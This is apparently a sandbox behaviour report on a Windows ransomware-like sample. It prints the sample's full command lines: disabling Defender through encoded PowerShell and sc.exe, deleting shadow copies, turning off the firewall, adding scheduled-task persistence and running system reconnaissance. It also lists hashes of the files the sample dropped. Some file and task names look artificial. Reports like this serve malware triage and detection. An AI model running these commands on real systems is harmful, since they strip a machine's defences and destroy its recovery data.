C:\Users\Admin\AppData\Local\Temp\socolive98.live_chrome.exe"C:\Users\Admin\AppData\Local\Temp\socolive98.live_chrome.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4532 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1616
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4732
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:1232
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:3984
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:2748
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:2592
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:1500
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:5016
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:1520
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2816 -
C:\Users\Admin\AppData\Local\Temp\socolive98.live_chrome.exe"C:\Users\Admin\AppData\Local\Temp\socolive98.live_chrome.exe"3⤵PID:3668
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:1536
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:4916
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:1856
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
PID:3828
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:4456
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\socolive98.live_chrome.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:372
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\socolive98.live_chrome.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4260
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2660 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1160
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
PID:3380
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4800 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:436
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4588 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:3932
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4656 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4140
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:884 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:2212 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:1184
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2292 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:1296
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1252 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:312
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\socolive98.live_chrome.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2788
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:3856
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:5012
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:3308
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
PID:1748
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:2928 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:4356
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2592
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:4232
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:5016
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3768
-
C:\Users\Admin\AppData\Local\Temp\socolive98.live_chrome.exeC:\Users\Admin\AppData\Local\Temp\socolive98.live_chrome.exe1⤵PID:2504
-
C:\Users\Admin\AppData\Local\Temp\socolive98.live_chrome.exeC:\Users\Admin\AppData\Local\Temp\socolive98.live_chrome.exe1⤵PID:3324
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20261007_134455.jpg
- Size 92KB
- SHA256 ac25565751e7a761b19937675073de68448a48c4343afa287722ee9f84fe9929
- MD5 46d0874a83882af87143f83024dda7c8
- SHA1 929bbbbbb1b3954c8172ec6da7c14cee10fce497
- SHA512 f7eabf5435222253ca59141c21112de0446f5658c624f76b385554758208fe25ba416ef4cc330cf8ec6d22983a7aa49e85d95ab79dbde276603534efeb0e9be9
- SSDEEP 1536:IzZQtdMQK69WZezEvwJFxf3rG5ZV1Z6rS6QqAfSjnQQQQQQQQQQQQQQzaY+mrsgm:xz9O4hrCvh6rzrK
- TLSH T13A938A178D0CDB96A46946E5BE471D9C3F166B5CED8279FF40264ECF3E602225C8A02F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_2.pdf
- Size 76KB
- SHA256 aa8cd6aa8d6b08e98eb0515fe1d43b2860824adf8bf1c3abe8c97e708405e209
- MD5 58776e56c93ffbcbe3326f2c2afce976
- SHA1 05f53a0abbe397b53c12297a11e1d27323411079
- SHA512 15a4d5b881ee381970c6657b567435b8055bf8dfcdc5220ed2a8d312a09b483db0894f75f411fe60dc0ab00c852cac06c6c7be40ca745d0a9ee92cd86d0fdc91
- SSDEEP 1536:KOjZTpDKpUoVWblMuzjtrLe48Asj9OVdIeVpGR1OduP+BJA8ezplLRSku1uwBKYz:KOjZ9KpUMiMut38ASEVdIGa2uPHzplCx
- TLSH T1C8731B368F22FCD4677E3D40A0203E561C893E6B4B75677CFA810DA669A5140DF3E99C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\socolive98.live_chrome.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fglra2be.ga5.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 247B
- SHA256 64361d7b6c17eef5bd5bf3508f9955a0067839e2714da19eeeb514d61ad1c41a
- MD5 5db788f301da5d06007fb0f88adb0d05
- SHA1 e8c5d4dbebae8364363f9d94ee504d017d0987dc
- SHA512 71b05d925fd53ab7b75d0c682bf80ee161185db248db997472403c936d46468cc5da6deb406afd1a5e41fab00cf9f435a2384b585b3dcfb56fe597314aa44beb
- TLSH T15BD0A54F7149C5790001153B41F3DD4CD9E5542D3B137F605995DD4D315149549F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 248B
- SHA256 f43429045f36fcd7c02200c3195f98f7e48a62da45a0efadceedd4d04fdfe196
- MD5 c548c807df7c9edc799d2c239e398f3f
- SHA1 8f5516adee006e1f26f8da1aaf7cf19b0b438728
- SHA512 943588469cd14ffa3ace2067bd0469c00c1994407227704724e3959ffd9cd2c16fd4a3e06b7e10b625e9d14256fadf5406068ad46dc1c37127b0bc7412068c90
- TLSH T14ED0A58F7149C5790001153F40F3DD4CDAD1542D3F136F209955DD4D324145549F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 123KB
- SHA256 384a464c0fe9e6befdeb985488c79df4e1d7a7be720bdd0f2f2762df0134efb9
- MD5 893ac2a4d5ea0345b41f6c367f941fd0
- SHA1 8e6764a2a54e1d7c6b8243d2a99f9481070d48e5
- SHA512 864debf3078ab4f9bb9c26f49c3e68d5eecb73d19cc9afae3cb88223e2e9472dae5827a404fe8fb45981f2f05d8c865e4f9aecdaf04f33241be2696c406c1976
- SSDEEP 1536:5CrHExfMVAyNs5eyPFerdEgYHd2jGtjd2P1at0uwdZvR:wzEOVtNs5d8Eg/GtjT6vdFR
- TLSH T1D8C3F811C6F69E6B14D14AAB091236D5E039B7F1D2ECD4FB60B2BA73F0738A2C718651
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 123KB
- SHA256 5cb848d5ceb5a068f646f0a4d71e24a0849e84c23ac96311045f8318ce5d6065
- MD5 9676c933b5481ade2c6f1da0b1ad391d
- SHA1 ccdc3669ac44e29d5e68f8825e70c209263de3ad
- SHA512 571b6b3344997db6e7855d1eaa8da04d6051a37f497afa398a2b58b785427665fd3b0dd213ad60d5b842c377ec51a435f472f1ac124905967a121b23388f489c
- SSDEEP 1536:pCrHExfMVAyNs5eyPFerdEgYHd2jGtjd2P1at0uwdZvZ:gzEOVtNs5d8Eg/GtjT6vdFZ
- TLSH T105C30810C6F69E6B14D14AAB091236D5E039B7F1D2EC94FB60B2BA73F0738A2C718655
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Documents\invoice_1.pdf
- Size 76KB
- SHA256 8d89cd39e10a8cac9dd6a8c738bc85a07a10c3ab63e28fc37cf3f7b7f5e5861e
- MD5 ccc24645c66dc70d4314102b610a6008
- SHA1 4607f0deff9d1fc26e63ba8f1a896f69d80c1ee1
- SHA512 e79b67bce8e95644421cd2f656c0f1e9461071625c72bd53998c599cd0394fe6d97ba2e2573d016333a5311a2dc5afcd7e68de45ecdc46b3d6dfc706905520b7
- SSDEEP 1536:qOjZTpDKpUoVWblMuzjtrLe48Asj9OVdIeVpGR1OduP+BJA8ezplLRSku1uwBKYY:qOjZ9KpUMiMut38ASEVdIGa2uPHzplCW
- TLSH T174731B368F22FCD4677E3D40E0203A561C883E6B4B75677CFA810DA669A5540DF3E99C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\READ_ME_NANOCORE.txt
- Size 145B
- SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
- MD5 d7ea02f4c4953d6a3f52b5d0ecbeb047
- SHA1 ce3a66707cabbbeaa0980b91d3b6271fc84145cb
- SHA512 441ac2261f8c29eed640bdddfd5195f9fe5fe5fb0f08a77bbebdb4507819e8717855e5485f554986eb0f69ee55d1fa5939c3f7dc84a333f9d78a15973df56f70
- TLSH T156C02B572EE03298B1C036C20A0A4CA2A76D470CD605C6582A2FC42033001EE2E41130
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 57KB
- SHA256 6bf852eb97950e56afc6e13df32f44b475b7cb1b8809455d8d5ac5a844eb4753
- MD5 5a19327ced96ef08356eaed3b00bc69b
- SHA1 ff6579ccd1e44f5ea572bf7f25ba2caa2bf9b4a0
- SHA512 52f37c1796453866a6e0b64041390e2b0d544afaba4c3c187bd34533ed619a5500439f867440673d9a707a530a32ada425aa941926b62695c09ee04604cf4a00
- SSDEEP 1536:RVrzo1DSa8epQWgS+v43LXGb5feOT1uuh:vzo12atgSE43LXGFfeOT1uC
- TLSH T1B643E74477FD4151E1BF9EBA5DB191518732B8A7AC32C38E0A94068E19B3B40CDA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path F:\RANSOM_NOTE.txt
- Size 177B
- SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
- MD5 c381da16f24527b361930429b75608ad
- SHA1 cc68fc2b7246e2b7611b3a1798a7dd3ad5b1c912
- SHA512 e79ae7b36ed481285d8fd080a69e080b637b0eaff67bcb53d0f27c89a984dd70f913d1f69cb306e0b96116b898227814eea36e8e3cfd03302c4455b28da89545
- TLSH T121C0C00B3EC4377822CC21E209018C12914EEA0CAA044254022BC9109EA496D30D44B3
- MD5 SHA1 SHA512 TLSH